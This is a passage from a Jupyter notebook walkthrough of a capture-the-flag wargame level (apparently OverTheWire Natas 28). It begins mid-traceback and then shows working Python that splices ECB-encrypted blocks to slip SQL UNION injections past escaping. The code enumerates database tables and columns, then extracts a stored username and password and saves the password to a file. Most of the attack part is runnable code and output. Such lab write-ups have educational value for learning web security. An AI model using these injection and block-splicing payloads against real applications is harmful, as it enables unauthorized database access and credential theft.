    295         # read until we get a non-100 response
    296         while True:
--> 297             version, status, reason = self._read_status()
    298             if status != CONTINUE:
    299                 break

~\Anaconda3\lib\http\client.py in _read_status(self)
    256 
    257     def _read_status(self):
--> 258         line = str(self.fp.readline(_MAXLINE + 1), "iso-8859-1")
    259         if len(line) > _MAXLINE:
    260             raise LineTooLong("status line")

~\Anaconda3\lib\socket.py in readinto(self, b)
    584         while True:
    585             try:
--> 586                 return self._sock.recv_into(b)
    587             except timeout:
    588                 self._timeout_occurred = True

KeyboardInterrupt: 
txt
As a result, I could retrieve only one character "%".
Subsequent  match of "%" should be incorrect.
Rather I guess it is the result of satisation before the encryption.

Let's check if this is the case:
In [33]:
# For ' (single quote)
print('Magic block with single quote is: ' + get_enc_query('a' * 9 + "'")[len(suffix):][:block_size])

# For ' (single quote)
print('Magic block with backslach is: ' + get_enc_query('a' * 9 + "\\")[len(suffix):][:block_size])
Magic block with single quote is: IR27gK4CQl3Jcmv/0YAxYO
Magic block with backslach is: IR27gK4CQl3Jcmv/0YAxYO
txt

So from these result, I guess the original inquiry is some SQL query like below:

"SELECT body FROM SOME_TABLE WHERE body LIKE '%<your-input>%';"

So do I just need to send query so that the resulting query looks like below?

"SELECT body FROM SOME_TABLE WHERE body LIKE '%' UNION SELECT * FROM password_table; #%';"

The answer is no, because the first lettter '(single quote) would be escaped like below:
+----------------+----------------+----------------+----------------+
|SELECT body FROM| SOME_TABLE WHER|E body LIKE '%\'|UNION SELECT * F|
+----------------+----------------+----------------+----------------+

Assuming this kind of sanitization is done before encryption like below:
original_input -> sanitized(or escaped) -> original_query -> encrypted_query

In this case if we can get encrypted version of "' UNION SELECT * FROM password_table; #" string, and append it in the query field directly, it should work.

So what my query to get this encrypted part should look like this:
+----------------+----------------+----------------+----------------+
|SELECT body FROM| SOME_TABLE WHER|E body LIKE '%A\|'UNION SELECT * |
+----------------+----------------+----------------+----------------+
And fourth block onwards is the encrypted query I want.

So direction is set, let's get coding.
In [62]:
# First of all, I need to get the base encrypted_query
# which is the encrypted version of
# |SELECT body FROM| SOME_TABLE WHER|E body LIKE '%AA|%';
# We can use this as a base, and append any encrypted query later
base_query = get_enc_query('a' * 10)
print(base_query)
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oec4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
txt
+----------------+----------------+----------------+----------------+
|SELECT body FROM| SOME_TABLE WHER|E body LIKE '%AA|%';             |
+----------------+----------------+----------------+----------------+

From the previous result, I know the following:
- "G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oe" is the part from "SELECT...%AA"
- "c4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=" is the part from "%';"
In [63]:
base_query_suffix = "G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oe"
base_query_appendix = "c4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI="

Now all the preparation is ready, let's start exploring the data

In [74]:
# First, I need to know what tables they have
intended_query = "' UNION ALL SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES;#"

enc_query_to_get_tables = base_query_suffix + get_enc_query('a' * 9 + intended_query)[len(base_query_suffix):]

search_url = BASEURL + '/search.php/?query='

rep = requests.get(search_url + urllib.parse.quote(enc_query_to_get_tables), auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')

for db in soup.find_all('li'):
    print(db.text)
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_BUFFER_PAGE
INNODB_TRX
INNODB_BUFFER_POOL_STATS
INNODB_LOCK_WAITS
INNODB_CMPMEM
INNODB_CMP
INNODB_LOCKS
INNODB_CMPMEM_RESET
INNODB_CMP_RESET
INNODB_BUFFER_PAGE_LRU
jokes
users
txt
Now we retrieved the list of tables.
- "jokes" should be the table those jokes are stored
- "users" should have some interesting data in it
In [79]:
# Let's see what columns are available
intended_query = "' UNION ALL SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS;#"

enc_query_to_get_tables = base_query_suffix + get_enc_query('a' * 9 + intended_query)[len(base_query_suffix):]

search_url = BASEURL + '/search.php/?query='

rep = requests.get(search_url + urllib.parse.quote(enc_query_to_get_tables), auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')

for db in soup.find_all('li'):
    print(db.text)
CHARACTER_SET_NAME
DEFAULT_COLLATE_NAME
DESCRIPTION
MAXLEN
COLLATION_NAME
CHARACTER_SET_NAME
ID
IS_DEFAULT
IS_COMPILED
SORTLEN
COLLATION_NAME
CHARACTER_SET_NAME
TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
COLUMN_NAME
ORDINAL_POSITION
COLUMN_DEFAULT
IS_NULLABLE
DATA_TYPE
CHARACTER_MAXIMUM_LENGTH
CHARACTER_OCTET_LENGTH
NUMERIC_PRECISION
NUMERIC_SCALE
CHARACTER_SET_NAME
COLLATION_NAME
COLUMN_TYPE
COLUMN_KEY
EXTRA
PRIVILEGES
COLUMN_COMMENT
GRANTEE
TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
COLUMN_NAME
PRIVILEGE_TYPE
IS_GRANTABLE
ENGINE
SUPPORT
COMMENT
TRANSACTIONS
XA
SAVEPOINTS
EVENT_CATALOG
EVENT_SCHEMA
EVENT_NAME
DEFINER
TIME_ZONE
EVENT_BODY
EVENT_DEFINITION
EVENT_TYPE
EXECUTE_AT
INTERVAL_VALUE
INTERVAL_FIELD
SQL_MODE
STARTS
ENDS
STATUS
ON_COMPLETION
CREATED
LAST_ALTERED
LAST_EXECUTED
EVENT_COMMENT
ORIGINATOR
CHARACTER_SET_CLIENT
COLLATION_CONNECTION
DATABASE_COLLATION
FILE_ID
FILE_NAME
FILE_TYPE
TABLESPACE_NAME
TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
LOGFILE_GROUP_NAME
LOGFILE_GROUP_NUMBER
ENGINE
FULLTEXT_KEYS
DELETED_ROWS
UPDATE_COUNT
FREE_EXTENTS
TOTAL_EXTENTS
EXTENT_SIZE
INITIAL_SIZE
MAXIMUM_SIZE
AUTOEXTEND_SIZE
CREATION_TIME
LAST_UPDATE_TIME
LAST_ACCESS_TIME
RECOVER_TIME
TRANSACTION_COUNTER
VERSION
ROW_FORMAT
TABLE_ROWS
AVG_ROW_LENGTH
DATA_LENGTH
MAX_DATA_LENGTH
INDEX_LENGTH
DATA_FREE
CREATE_TIME
UPDATE_TIME
CHECK_TIME
CHECKSUM
STATUS
EXTRA
VARIABLE_NAME
VARIABLE_VALUE
VARIABLE_NAME
VARIABLE_VALUE
CONSTRAINT_CATALOG
CONSTRAINT_SCHEMA
CONSTRAINT_NAME
TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
COLUMN_NAME
ORDINAL_POSITION
POSITION_IN_UNIQUE_CONSTRAINT
REFERENCED_TABLE_SCHEMA
REFERENCED_TABLE_NAME
REFERENCED_COLUMN_NAME
SPECIFIC_CATALOG
SPECIFIC_SCHEMA
SPECIFIC_NAME
ORDINAL_POSITION
PARAMETER_MODE
PARAMETER_NAME
DATA_TYPE
CHARACTER_MAXIMUM_LENGTH
CHARACTER_OCTET_LENGTH
NUMERIC_PRECISION
NUMERIC_SCALE
CHARACTER_SET_NAME
COLLATION_NAME
DTD_IDENTIFIER
ROUTINE_TYPE
TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
PARTITION_NAME
SUBPARTITION_NAME
PARTITION_ORDINAL_POSITION
SUBPARTITION_ORDINAL_POSITION
PARTITION_METHOD
SUBPARTITION_METHOD
PARTITION_EXPRESSION
SUBPARTITION_EXPRESSION
PARTITION_DESCRIPTION
TABLE_ROWS
AVG_ROW_LENGTH
DATA_LENGTH
MAX_DATA_LENGTH
INDEX_LENGTH
DATA_FREE
CREATE_TIME
UPDATE_TIME
CHECK_TIME
CHECKSUM
PARTITION_COMMENT
NODEGROUP
TABLESPACE_NAME
PLUGIN_NAME
PLUGIN_VERSION
PLUGIN_STATUS
PLUGIN_TYPE
PLUGIN_TYPE_VERSION
PLUGIN_LIBRARY
PLUGIN_LIBRARY_VERSION
PLUGIN_AUTHOR
PLUGIN_DESCRIPTION
PLUGIN_LICENSE
LOAD_OPTION
ID
USER
HOST
DB
COMMAND
TIME
STATE
INFO
QUERY_ID
SEQ
STATE
DURATION
CPU_USER
CPU_SYSTEM
CONTEXT_VOLUNTARY
CONTEXT_INVOLUNTARY
BLOCK_OPS_IN
BLOCK_OPS_OUT
MESSAGES_SENT
MESSAGES_RECEIVED
PAGE_FAULTS_MAJOR
PAGE_FAULTS_MINOR
SWAPS
SOURCE_FUNCTION
SOURCE_FILE
SOURCE_LINE
CONSTRAINT_CATALOG
CONSTRAINT_SCHEMA
CONSTRAINT_NAME
UNIQUE_CONSTRAINT_CATALOG
UNIQUE_CONSTRAINT_SCHEMA
UNIQUE_CONSTRAINT_NAME
MATCH_OPTION
UPDATE_RULE
DELETE_RULE
TABLE_NAME
REFERENCED_TABLE_NAME
SPECIFIC_NAME
ROUTINE_CATALOG
ROUTINE_SCHEMA
ROUTINE_NAME
ROUTINE_TYPE
DATA_TYPE
CHARACTER_MAXIMUM_LENGTH
CHARACTER_OCTET_LENGTH
NUMERIC_PRECISION
NUMERIC_SCALE
CHARACTER_SET_NAME
COLLATION_NAME
DTD_IDENTIFIER
ROUTINE_BODY
ROUTINE_DEFINITION
EXTERNAL_NAME
EXTERNAL_LANGUAGE
PARAMETER_STYLE
IS_DETERMINISTIC
SQL_DATA_ACCESS
SQL_PATH
SECURITY_TYPE
CREATED
LAST_ALTERED
SQL_MODE
ROUTINE_COMMENT
DEFINER
CHARACTER_SET_CLIENT
COLLATION_CONNECTION
DATABASE_COLLATION
CATALOG_NAME
SCHEMA_NAME
DEFAULT_CHARACTER_SET_NAME
DEFAULT_COLLATION_NAME
SQL_PATH
GRANTEE
TABLE_CATALOG
TABLE_SCHEMA
PRIVILEGE_TYPE
IS_GRANTABLE
VARIABLE_NAME
VARIABLE_VALUE
VARIABLE_NAME
VARIABLE_VALUE
TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
NON_UNIQUE
INDEX_SCHEMA
INDEX_NAME
SEQ_IN_INDEX
COLUMN_NAME
COLLATION
CARDINALITY
SUB_PART
PACKED
NULLABLE
INDEX_TYPE
COMMENT
INDEX_COMMENT
TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
TABLE_TYPE
ENGINE
VERSION
ROW_FORMAT
TABLE_ROWS
AVG_ROW_LENGTH
DATA_LENGTH
MAX_DATA_LENGTH
INDEX_LENGTH
DATA_FREE
AUTO_INCREMENT
CREATE_TIME
UPDATE_TIME
CHECK_TIME
TABLE_COLLATION
CHECKSUM
CREATE_OPTIONS
TABLE_COMMENT
TABLESPACE_NAME
ENGINE
TABLESPACE_TYPE
LOGFILE_GROUP_NAME
EXTENT_SIZE
AUTOEXTEND_SIZE
MAXIMUM_SIZE
NODEGROUP_ID
TABLESPACE_COMMENT
CONSTRAINT_CATALOG
CONSTRAINT_SCHEMA
CONSTRAINT_NAME
TABLE_SCHEMA
TABLE_NAME
CONSTRAINT_TYPE
GRANTEE
TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
PRIVILEGE_TYPE
IS_GRANTABLE
TRIGGER_CATALOG
TRIGGER_SCHEMA
TRIGGER_NAME
EVENT_MANIPULATION
EVENT_OBJECT_CATALOG
EVENT_OBJECT_SCHEMA
EVENT_OBJECT_TABLE
ACTION_ORDER
ACTION_CONDITION
ACTION_STATEMENT
ACTION_ORIENTATION
ACTION_TIMING
ACTION_REFERENCE_OLD_TABLE
ACTION_REFERENCE_NEW_TABLE
ACTION_REFERENCE_OLD_ROW
ACTION_REFERENCE_NEW_ROW
CREATED
SQL_MODE
DEFINER
CHARACTER_SET_CLIENT
COLLATION_CONNECTION
DATABASE_COLLATION
GRANTEE
TABLE_CATALOG
PRIVILEGE_TYPE
IS_GRANTABLE
TABLE_CATALOG
TABLE_SCHEMA
TABLE_NAME
VIEW_DEFINITION
CHECK_OPTION
IS_UPDATABLE
DEFINER
SECURITY_TYPE
CHARACTER_SET_CLIENT
COLLATION_CONNECTION
POOL_ID
BLOCK_ID
SPACE
PAGE_NUMBER
PAGE_TYPE
FLUSH_TYPE
FIX_COUNT
IS_HASHED
NEWEST_MODIFICATION
OLDEST_MODIFICATION
ACCESS_TIME
TABLE_NAME
INDEX_NAME
NUMBER_RECORDS
DATA_SIZE
COMPRESSED_SIZE
PAGE_STATE
IO_FIX
IS_OLD
FREE_PAGE_CLOCK
trx_id
trx_state
trx_started
trx_requested_lock_id
trx_wait_started
trx_weight
trx_mysql_thread_id
trx_query
trx_operation_state
trx_tables_in_use
trx_tables_locked
trx_lock_structs
trx_lock_memory_bytes
trx_rows_locked
trx_rows_modified
trx_concurrency_tickets
trx_isolation_level
trx_unique_checks
trx_foreign_key_checks
trx_last_foreign_key_error
trx_adaptive_hash_latched
trx_adaptive_hash_timeout
POOL_ID
POOL_SIZE
FREE_BUFFERS
DATABASE_PAGES
OLD_DATABASE_PAGES
MODIFIED_DATABASE_PAGES
PENDING_DECOMPRESS
PENDING_READS
PENDING_FLUSH_LRU
PENDING_FLUSH_LIST
PAGES_MADE_YOUNG
PAGES_NOT_MADE_YOUNG
PAGES_MADE_YOUNG_RATE
PAGES_MADE_NOT_YOUNG_RATE
NUMBER_PAGES_READ
NUMBER_PAGES_CREATED
NUMBER_PAGES_WRITTEN
PAGES_READ_RATE
PAGES_CREATE_RATE
PAGES_WRITTEN_RATE
NUMBER_PAGES_GET
HIT_RATE
YOUNG_MAKE_PER_THOUSAND_GETS
NOT_YOUNG_MAKE_PER_THOUSAND_GETS
NUMBER_PAGES_READ_AHEAD
NUMBER_READ_AHEAD_EVICTED
READ_AHEAD_RATE
READ_AHEAD_EVICTED_RATE
LRU_IO_TOTAL
LRU_IO_CURRENT
UNCOMPRESS_TOTAL
UNCOMPRESS_CURRENT
requesting_trx_id
requested_lock_id
blocking_trx_id
blocking_lock_id
page_size
buffer_pool_instance
pages_used
pages_free
relocation_ops
relocation_time
page_size
compress_ops
compress_ops_ok
compress_time
uncompress_ops
uncompress_time
lock_id
lock_trx_id
lock_mode
lock_type
lock_table
lock_index
lock_space
lock_page
lock_rec
lock_data
page_size
buffer_pool_instance
pages_used
pages_free
relocation_ops
relocation_time
page_size
compress_ops
compress_ops_ok
compress_time
uncompress_ops
uncompress_time
POOL_ID
LRU_POSITION
SPACE
PAGE_NUMBER
PAGE_TYPE
FLUSH_TYPE
FIX_COUNT
IS_HASHED
NEWEST_MODIFICATION
OLDEST_MODIFICATION
ACCESS_TIME
TABLE_NAME
INDEX_NAME
NUMBER_RECORDS
DATA_SIZE
COMPRESSED_SIZE
COMPRESSED
IO_FIX
IS_OLD
FREE_PAGE_CLOCK
joke
username
password

There is a column named "password". Obviously it is the one we need to check.

In [80]:
# let's get the username first just to make sure the user is the one we want to get the password
intended_query = "' UNION ALL SELECT username FROM users;#"

enc_query_to_get_tables = base_query_suffix + get_enc_query('a' * 9 + intended_query)[len(base_query_suffix):]

search_url = BASEURL + '/search.php/?query='

rep = requests.get(search_url + urllib.parse.quote(enc_query_to_get_tables), auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')

for db in soup.find_all('li'):
    print(db.text)
natas29

There is only one entry, and indeed it is the user we want.

In [83]:
# let's get the password
intended_query = "' UNION ALL SELECT password FROM users;#"

enc_query_to_get_tables = base_query_suffix + get_enc_query('a' * 9 + intended_query)[len(base_query_suffix):]

search_url = BASEURL + '/search.php/?query='

rep = requests.get(search_url + urllib.parse.quote(enc_query_to_get_tables), auth=(USER, PASSWD))
soup = BeautifulSoup(rep.text, 'html.parser')

result = soup.find('li').text

#print(f'The password for Level{ID+1} is {result}.')
        
with open(f'PASS{ID+1}.txt', 'w') as f:
    f.write(result)

print(f'Completed. Please check PASS{ID+1}.txt for password.')
Completed. Please check PASS29.txt for password.